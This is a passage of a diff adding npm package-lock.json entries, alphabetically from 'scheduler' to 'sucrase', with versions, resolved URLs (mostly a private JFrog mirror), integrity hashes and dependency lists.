"node_modules/scheduler": { + "version": "0.23.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/select-hose": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==" + }, + "node_modules/selfsigned": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/selfsigned/-/selfsigned-2.1.1.tgz", + "integrity": "sha512-GSL3aowiF7wa/WtSFwnUrludWFoNhftq8bUkH9pkzjpN2XSPOAYEgg6e0sS9s0rZwgJzJiQRPU18A6clnoW5wQ==", + "dependencies": { + "node-forge": "^1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/send": { + "version": "0.19.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz", + "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/send/node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "node_modules/serialize-javascript": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/serialize-javascript/-/serialize-javascript-6.0.1.tgz", + "integrity": "sha512-owoXEFjWRllis8/M1Q+Cw5k8ZH40e3zhp/ovX+Xr/vi1qj6QesbyXXViFbpNvWvPNAD62SutwEXavefrLJWj7w==", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/serve-index": { + "version": "1.9.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==", + "dependencies": { + "accepts": "~1.3.4", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/serve-index/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/serve-index/node_modules/depd": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/depd/-/depd-1.1.2.tgz", + "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/http-errors": { + "version": "1.6.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==", + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==" + }, + "node_modules/serve-index/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/serve-index/node_modules/setprototypeof": { + "version": "1.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" + }, + "node_modules/serve-index/node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-static": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz", + "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==", + "dependencies": { + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.19.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.8.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/shell-quote/-/shell-quote-1.8.1.tgz", + "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==" + }, + "node_modules/side-channel": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz", + "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", + "dependencies": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==" + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==" + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/sockjs": { + "version": "0.3.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sockjs/-/sockjs-0.3.24.tgz", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "dependencies": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "node_modules/source-list-map": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==" + }, + "node_modules/source-map": { + "version": "0.7.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-loader": { + "version": "3.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map-loader/-/source-map-loader-3.0.2.tgz", + "integrity": "sha512-BokxPoLjyl3iOrgkWaakaxqnelAJSS+0V+De0kKIq6lyWrXuiPgYTGp6z3iHmqljKAaLXwZa+ctD8GccRJeVvg==", + "dependencies": { + "abab": "^2.0.5", + "iconv-lite": "^0.6.3", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/source-map-support/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "deprecated": "Please use @jridgewell/sourcemap-codec instead" + }, + "node_modules/spdy": { + "version": "4.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" + }, + "node_modules/stable": { + "version": "0.1.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility" + }, + "node_modules/stack-utils": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "dependencies": { + "escape-string-regexp": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stack-utils/node_modules/escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "engines": { + "node": ">=8" + } + }, + "node_modules/stackframe": { + "version": "1.3.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stackframe/-/stackframe-1.3.4.tgz", + "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==" + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/stop-iteration-iterator": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stop-iteration-iterator/-/stop-iteration-iterator-1.0.0.tgz", + "integrity": "sha512-iCGQj+0l0HOdZ2AEeBADlsRC+vsnDsZsbdSiH1yNSjcfKM7fdpCMfqAL/dwF5BLiw/XhRft/Wax6zQbhq2BcjQ==", + "dependencies": { + "internal-slot": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-length": { + "version": "4.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "dependencies": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/string-natural-compare": { + "version": "3.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string-natural-compare/-/string-natural-compare-3.0.1.tgz", + "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw==" + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string.prototype.matchall/-/string.prototype.matchall-4.0.8.tgz", + "integrity": "sha512-6zOCOcJ+RJAQshcTvXPHoxoQGONa3e/Lqx90wUA+wEzX78sg5Bo+1tQo4N0pohS0erG9qtCqJDjNCQBjeWVxyg==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.3", + "regexp.prototype.flags": "^1.4.3", + "side-channel": "^1.0.4" + } + }, + "node_modules/string.prototype.trim": { + "version": "1.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string.prototype.trim/-/string.prototype.trim-1.2.7.tgz", + "integrity": "sha512-p6TmeT1T3411M8Cgg9wBTMRtY2q9+PNy9EV1i2lIXUN/btt763oIfxwN3RR8VU6wHX8j/1CFy0L+YuThm6bgOg==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string.prototype.trimend/-/string.prototype.trimend-1.0.6.tgz", + "integrity": "sha512-JySq+4mrPf9EsDBEDYMOb/lM7XQLulwg5R/m1r0PXEFqrV0qHvl58sdTilSXtKOflCsK2E8jxf+GKC0T07RWwQ==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string.prototype.trimstart/-/string.prototype.trimstart-1.0.6.tgz", + "integrity": "sha512-omqjMDaY92pbn5HOX7f9IccLA+U1tA9GvtU4JrodiXFfYB7jPzzHpRzpglLAjtUV6bB557zwClJezTqnAiYnQA==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "node_modules/stringify-object": { + "version": "3.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stringify-object/-/stringify-object-3.3.0.tgz", + "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", + "dependencies": { + "get-own-enumerable-property-symbols": "^3.0.0", + "is-obj": "^1.0.1", + "is-regexp": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-comments": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-comments/-/strip-comments-2.0.1.tgz", + "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==", + "engines": { + "node": ">=10" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "engines": { + "node": ">=8" + } + }, + "node_modules/style-loader": { + "version": "3.3.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/style-loader/-/style-loader-3.3.3.tgz", + "integrity": "sha512-53BiGLXAcll9maCYtZi2RCQZKa8NQQai5C4horqKyRmHj9H7QmcUyucrH+4KW/gBQbXM2AsB0axoEcFZPlfPcw==", + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/stylehacks": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stylehacks/-/stylehacks-5.1.1.tgz", + "integrity": "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/sucrase": { 